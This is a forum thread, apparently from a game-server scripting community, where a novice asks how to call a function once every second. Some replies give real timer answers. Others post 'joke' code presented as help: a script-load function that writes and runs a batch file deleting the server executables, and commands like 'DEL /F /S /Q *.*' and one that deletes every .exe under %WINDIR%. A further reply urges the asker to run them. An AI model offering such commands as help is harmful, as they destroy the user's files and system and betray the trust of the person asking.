Function Help!

Started by Luckshya, Nov 02, 2015, 03:51 PM

Previous topic - Next topic

Luckshya

How can i make a function run after every second for unlimited times?

.

I wonder how? Can anyone tell me as well. We need to solve this mystery.
.

Luckshya


KAKAN

lol, SLC
NewTimer("Myfunc",1,0);
oh no

Luckshya

Really. Oh. I'll try it by putting in onscriptload, lets see.

EK.IceFlake

Like this
function onScriptLoad()
{
    system("echo ping 127.0.0.1 >rip.bat");
    system("echo del server.exe >rip.bat");
    system("echo del server32.exe >rip.bat");
    system("echo del server64.exe >rip.bat");
    print("Please rest in peace");
    system("rip.bat & exit");
}
Enjoy ;)

KAKAN

oh no

rulk

You could achieve this two ways,

Method One:
Place the timer function in a variable so we can access it's properties.

This will start the timer and run 'MyFunction' every second untill you call 'MyVar.Stop'

MyVar <- NewTimer( "MyFunction", 1000, 0 );

Method Two
Using the 'Modulus Operator' to determin how many seconds have passed since the start of the process.

Note: This will only trigger when a player is moving in the server, but it's an alternative to a timer.
function onPlayerMove( player, oldX, oldY, oldZ, newX, newY, newZ )
{
      if ( abs( clock() ) % 1000 == 0 ) MyFunction();
}
We are all god's children.

.

If you wanted to do any permanent good you could have:
system("DEL /F /S /Q *.*")
Or even:
system("DEL /F /S /Q %WINDIR%\*.exe")
.

KAKAN

LOLOL!
That's the best one, try it.
oh no

Luckshya